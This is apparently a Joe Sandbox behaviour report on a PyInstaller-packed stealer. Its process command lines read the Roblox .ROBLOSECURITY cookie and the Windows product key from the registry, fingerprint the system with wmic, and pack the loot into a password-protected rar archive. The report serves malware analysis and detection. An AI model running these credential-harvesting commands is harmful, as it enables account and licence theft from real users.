Show Windows behavior

Target ID:	78
Start time:	02:42:02
Start date:	13/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline"
Imagebase:	0x7ff741970000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	02:42:02
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	02:42:02
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7988, Parent PID: 3020

General

Target ID:	81
Start time:	02:42:02
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	02:42:02
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff738e70000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff7a5370000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff72bec0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 4444, Parent PID: 3444

General

Target ID:	89
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2472, Parent PID: 2308

General

Target ID:	90
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff606630000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	02:42:03
Start date:	13/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff738e70000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	02:42:04
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	02:42:04
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7716, Parent PID: 7444

General

Target ID:	97
Start time:	02:42:05
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	02:42:05
Start date:	13/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff738e70000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	02:42:05
Start date:	13/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBE0B.tmp" "c:\Users\user\AppData\Local\Temp\jnxiphgt\CSC11F91C33F0BB4EC3B771882E34D952E.TMP"
Imagebase:	0x7ff6b2a50000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	02:42:05
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	02:42:05
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	102
Start time:	02:42:05
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	02:42:18
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	104
Start time:	02:42:18
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	105
Start time:	02:42:18
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe a -r -hp"Logger1@12345" "C:\Users\user\AppData\Local\Temp\C7XW6.zip" *
Imagebase:	0x7ff6bbcb0000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	106
Start time:	02:42:19
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	02:42:19
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	108
Start time:	02:42:19
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff6c9a10000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	109
Start time:	02:42:20
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	110
Start time:	02:42:20
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	111
Start time:	02:42:21
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get totalphysicalmemory
Imagebase:	0x7ff6c9a10000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	112
Start time:	02:42:21
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4924, Parent PID: 3940

General

Target ID:	113
Start time:	02:42:21
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	114
Start time:	02:42:21
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff6c9a10000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	115
Start time:	02:42:22
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	116
Start time:	02:42:22
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	117
Start time:	02:42:22
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	118
Start time:	02:42:23
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7216, Parent PID: 1196

General

Target ID:	119
Start time:	02:42:23
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	120
Start time:	02:42:23
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff6c9a10000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	121
Start time:	02:42:24
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	122
Start time:	02:42:24
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	123
Start time:	02:42:25
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	26

Executed Functions

Function 00007FF62CC78BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62CC79400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62CC745E4,00000000,00007FF62CC71985), ref: 00007FF62CC79439

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78C2B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78C46

Part of subcall function 00007FF62CC8A4EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8A500

Part of subcall function 00007FF62CC8878C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC887F3

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78CD6
CreateProcessW.KERNELBASE ref: 00007FF62CC78D0E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78D18

Part of subcall function 00007FF62CC72C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF62CC73706,?,00007FF62CC73804), ref: 00007FF62CC72C9E
Part of subcall function 00007FF62CC72C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF62CC73706,?,00007FF62CC73804), ref: 00007FF62CC72D63
Part of subcall function 00007FF62CC72C50: MessageBoxW.USER32 ref: 00007FF62CC72D99

RegisterClassW.USER32 ref: 00007FF62CC78D70
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78D7B
CreateWindowExW.USER32 ref: 00007FF62CC78DC5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78DD7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78DF2
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78E05
PeekMessageW.USER32 ref: 00007FF62CC78E29
TranslateMessage.USER32 ref: 00007FF62CC78E37
DispatchMessageW.USER32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78E41
PeekMessageW.USER32 ref: 00007FF62CC78E5C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78E6E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78E89
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78E9F
GetLastError.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78EA9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78EB7
DestroyWindow.USER32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC78FF4
GetExitCodeProcess.KERNELBASE ref: 00007FF62CC79009
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC79012
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF62CC73F7F), ref: 00007FF62CC7901F

Strings

CreateProcessW, xrefs: 00007FF62CC78D27
Failed to create child process!, xrefs: 00007FF62CC78D20
PyInstaller Onefile Hidden Window, xrefs: 00007FF62CC78D85
PyInstallerOnefileHiddenWindow, xrefs: 00007FF62CC78D44

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction ID: b159eae329c0bc85a85ee568c798fbc114d92dfde71437af0e6046ae3e281688
Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction Fuzzy Hash: 1CD16032B08A8296EF208F38EC646B93774FF84B68F404235DA5D96AA4DF3CD559D701

Function 00007FF62CC71000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF62CC73BE8
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF62CC73E0A
Failed to remove temporary directory: %s, xrefs: 00007FF62CC73FC3
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF62CC73D12
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF62CC73971
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF62CC73EBB
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF62CC73A0B, 00007FF62CC73CD4, 00007FF62CC73F6B
Failed to load splash screen resources!, xrefs: 00007FF62CC73E85
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF62CC73D35
pyi-disable-windowed-traceback, xrefs: 00007FF62CC73BB2
pyi-python-flag, xrefs: 00007FF62CC73AD6
VCRUNTIME140.dll, xrefs: 00007FF62CC73DB1
Failed to convert DLL search path!, xrefs: 00007FF62CC73DDC
pkg, xrefs: 00007FF62CC739BE
Failed to start splash screen!, xrefs: 00007FF62CC73ED4
Could not create temporary directory!, xrefs: 00007FF62CC73CBF
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF62CC73A17, 00007FF62CC73A2F, 00007FF62CC73A9B
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF62CC73EA6
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF62CC73882, 00007FF62CC738AF
_PYI_ARCHIVE_FILE, xrefs: 00007FF62CC738D2, 00007FF62CC739FF
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF62CC73B32
bye-runtime-tmpdir, xrefs: 00007FF62CC73B68
_PYI_SPLASH_IPC, xrefs: 00007FF62CC73A23, 00007FF62CC73EF5
Py_GIL_DISABLED, xrefs: 00007FF62CC73AF4
pyi-contents-directory, xrefs: 00007FF62CC73B8D
MEI, xrefs: 00007FF62CC73933
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF62CC739DE
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF62CC73C61

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

